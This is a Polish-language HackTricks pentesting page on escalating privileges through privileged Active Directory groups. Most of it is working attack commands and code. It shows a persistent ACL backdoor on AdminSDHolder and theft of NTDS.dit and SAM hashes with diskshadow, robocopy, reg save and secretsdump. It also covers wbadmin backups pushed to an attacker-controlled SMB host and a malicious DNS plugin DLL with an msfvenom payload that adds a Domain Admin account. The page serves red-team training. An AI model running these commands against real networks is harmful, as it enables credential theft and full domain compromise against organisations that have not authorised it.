Grupy uprzywilejowane

Reading time: 11 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Znane grupy z uprawnieniami administracyjnymi

  • Administratorzy
  • Administratorzy domeny
  • Administratorzy przedsiębiorstwa

Operatorzy kont

Grupa ta ma uprawnienia do tworzenia kont i grup, które nie są administratorami w domenie. Dodatkowo umożliwia lokalne logowanie do kontrolera domeny (DC).

Aby zidentyfikować członków tej grupy, wykonuje się następujące polecenie:

powershell
Get-NetGroupMember -Identity "Account Operators" -Recurse

Dodawanie nowych użytkowników jest dozwolone, a także lokalne logowanie do DC01.

Grupa AdminSDHolder

Lista Kontroli Dostępu (ACL) grupy AdminSDHolder jest kluczowa, ponieważ ustala uprawnienia dla wszystkich "chronionych grup" w Active Directory, w tym grup o wysokich uprawnieniach. Mechanizm ten zapewnia bezpieczeństwo tych grup, zapobiegając nieautoryzowanym modyfikacjom.

Atakujący mógłby to wykorzystać, modyfikując ACL grupy AdminSDHolder, przyznając pełne uprawnienia standardowemu użytkownikowi. To skutecznie dałoby temu użytkownikowi pełną kontrolę nad wszystkimi chronionymi grupami. Jeśli uprawnienia tego użytkownika zostaną zmienione lub usunięte, zostaną automatycznie przywrócone w ciągu godziny z powodu konstrukcji systemu.

Polecenia do przeglądania członków i modyfikowania uprawnień obejmują:

powershell
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

Dostępny jest skrypt, który przyspiesza proces przywracania: Invoke-ADSDPropagation.ps1.

Aby uzyskać więcej informacji, odwiedź ired.team.

AD Recycle Bin

Członkostwo w tej grupie umożliwia odczyt usuniętych obiektów Active Directory, co może ujawnić wrażliwe informacje:

bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Dostęp do kontrolera domeny

Dostęp do plików na DC jest ograniczony, chyba że użytkownik jest częścią grupy Server Operators, co zmienia poziom dostępu.

Eskalacja uprawnień

Używając PsService lub sc z Sysinternals, można sprawdzić i zmodyfikować uprawnienia usług. Grupa Server Operators, na przykład, ma pełną kontrolę nad niektórymi usługami, co pozwala na wykonywanie dowolnych poleceń i eskalację uprawnień:

cmd
C:\> .\PsService.exe security AppReadiness

To polecenie ujawnia, że Server Operators mają pełny dostęp, co umożliwia manipulację usługami w celu uzyskania podwyższonych uprawnień.

Backup Operators

Członkostwo w grupie Backup Operators zapewnia dostęp do systemu plików DC01 dzięki uprawnieniom SeBackup i SeRestore. Te uprawnienia umożliwiają przechodzenie przez foldery, wyświetlanie listy oraz kopiowanie plików, nawet bez wyraźnych uprawnień, przy użyciu flagi FILE_FLAG_BACKUP_SEMANTICS. Wykorzystanie konkretnych skryptów jest konieczne w tym procesie.

Aby wyświetlić członków grupy, wykonaj:

powershell
Get-NetGroupMember -Identity "Backup Operators" -Recurse

Atak lokalny

Aby wykorzystać te uprawnienia lokalnie, stosuje się następujące kroki:

  1. Importuj niezbędne biblioteki:
bash
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
  1. Włącz i zweryfikuj SeBackupPrivilege:
bash
Set-SeBackupPrivilege
Get-SeBackupPrivilege
  1. Uzyskaj dostęp i skopiuj pliki z ograniczonych katalogów, na przykład:
bash
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

Atak AD

Bezpośredni dostęp do systemu plików kontrolera domeny umożliwia kradzież bazy danych NTDS.dit, która zawiera wszystkie hashe NTLM dla użytkowników i komputerów w domenie.

Używanie diskshadow.exe

  1. Utwórz kopię zapasową dysku C:
cmd
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
  1. Skopiuj NTDS.dit z kopii zapasowej:
cmd
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Alternatywnie, użyj robocopy do kopiowania plików:

cmd
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
  1. Wyodrębnij SYSTEM i SAM w celu odzyskania haszy:
cmd
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
  1. Pobierz wszystkie hashe z NTDS.dit:
shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Używanie wbadmin.exe

  1. Skonfiguruj system plików NTFS dla serwera SMB na maszynie atakującej i zbuforuj poświadczenia SMB na maszynie docelowej.
  2. Użyj wbadmin.exe do tworzenia kopii zapasowej systemu i ekstrakcji NTDS.dit:
cmd
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

Aby zobaczyć praktyczną demonstrację, zobacz DEMO VIDEO WITH IPPSEC.

DnsAdmins

Członkowie grupy DnsAdmins mogą wykorzystać swoje uprawnienia do załadowania dowolnego DLL z uprawnieniami SYSTEM na serwerze DNS, często hostowanym na kontrolerach domeny. Ta zdolność pozwala na znaczny potencjał do wykorzystania.

Aby wyświetlić członków grupy DnsAdmins, użyj:

powershell
Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Wykonaj dowolny DLL

Członkowie mogą sprawić, że serwer DNS załaduje dowolny DLL (lokalnie lub z zdalnego udostępnienia) za pomocą poleceń takich jak:

powershell
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
c
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
bash
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

Restartowanie usługi DNS (co może wymagać dodatkowych uprawnień) jest konieczne, aby DLL mogła zostać załadowana:

csharp
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

Dla uzyskania dalszych szczegółów na temat tego wektora ataku, zapoznaj się z ired.team.

Mimilib.dll

Możliwe jest również użycie mimilib.dll do wykonania poleceń, modyfikując go w celu wykonania konkretnych poleceń lub odwrotnych powłok. Sprawdź ten post po więcej informacji.

Rekord WPAD dla MitM

DnsAdmins mogą manipulować rekordami DNS, aby przeprowadzać ataki Man-in-the-Middle (MitM), tworząc rekord WPAD po wyłączeniu globalnej listy blokad zapytań. Narzędzia takie jak Responder lub Inveigh mogą być używane do spoofingu i przechwytywania ruchu sieciowego.

Czytelnicy dzienników zdarzeń

Członkowie mogą uzyskiwać dostęp do dzienników zdarzeń, potencjalnie znajdując wrażliwe informacje, takie jak hasła w postaci czystego tekstu lub szczegóły wykonania poleceń:

powershell
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Uprawnienia Windows Exchange

Ta grupa może modyfikować DACL na obiekcie domeny, potencjalnie przyznając uprawnienia DCSync. Techniki eskalacji uprawnień wykorzystujące tę grupę są szczegółowo opisane w repozytorium Exchange-AD-Privesc na GitHubie.

powershell
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V Administrators

Administratorzy Hyper-V mają pełny dostęp do Hyper-V, co może być wykorzystane do przejęcia kontroli nad wirtualizowanymi kontrolerami domeny. Obejmuje to klonowanie aktywnych kontrolerów domeny i wydobywanie hashy NTLM z pliku NTDS.dit.

Przykład wykorzystania

Usługa konserwacyjna Mozilla Firefox może być wykorzystywana przez administratorów Hyper-V do wykonywania poleceń jako SYSTEM. Polega to na utworzeniu twardego linku do chronionego pliku SYSTEM i zastąpieniu go złośliwym plikiem wykonywalnym:

bash
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

Uwaga: Wykorzystanie twardych linków zostało złagodzone w ostatnich aktualizacjach systemu Windows.

Zarządzanie Organizacją

W środowiskach, w których zainstalowano Microsoft Exchange, specjalna grupa znana jako Zarządzanie Organizacją ma znaczące uprawnienia. Grupa ta ma przywilej dostępu do skrzynek pocztowych wszystkich użytkowników domeny i utrzymuje pełną kontrolę nad jednostką organizacyjną 'Microsoft Exchange Security Groups' (OU). Kontrola ta obejmuje grupę Exchange Windows Permissions, która może być wykorzystana do eskalacji uprawnień.

Wykorzystanie Uprawnień i Polecenia

Operatorzy Drukowania

Członkowie grupy Operatorzy Drukowania mają przyznane kilka uprawnień, w tym SeLoadDriverPrivilege, które pozwala im logować się lokalnie do kontrolera domeny, wyłączać go i zarządzać drukarkami. Aby wykorzystać te uprawnienia, szczególnie jeśli SeLoadDriverPrivilege nie jest widoczne w kontekście bez podwyższonych uprawnień, konieczne jest ominięcie Kontroli Konta Użytkownika (UAC).

Aby wylistować członków tej grupy, używa się następującego polecenia PowerShell:

powershell
Get-NetGroupMember -Identity "Print Operators" -Recurse

Dla bardziej szczegółowych technik eksploatacji związanych z SeLoadDriverPrivilege, należy skonsultować się z konkretnymi zasobami bezpieczeństwa.

Użytkownicy pulpitu zdalnego

Członkowie tej grupy mają dostęp do komputerów za pośrednictwem protokołu pulpitu zdalnego (RDP). Aby wyliczyć tych członków, dostępne są polecenia PowerShell:

powershell
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

Dalsze informacje na temat wykorzystywania RDP można znaleźć w dedykowanych zasobach pentestingowych.

Użytkownicy zdalnego zarządzania

Członkowie mogą uzyskiwać dostęp do komputerów za pomocą Windows Remote Management (WinRM). Wykrywanie tych członków osiąga się poprzez:

powershell
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

Aby uzyskać informacje na temat technik eksploatacji związanych z WinRM, należy skonsultować się z odpowiednią dokumentacją.

Operatorzy serwera

Ta grupa ma uprawnienia do wykonywania różnych konfiguracji na kontrolerach domeny, w tym uprawnienia do tworzenia kopii zapasowych i przywracania, zmiany czasu systemowego oraz wyłączania systemu. Aby wylistować członków, użyj podanego polecenia:

powershell
Get-NetGroupMember -Identity "Server Operators" -Recurse

Odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks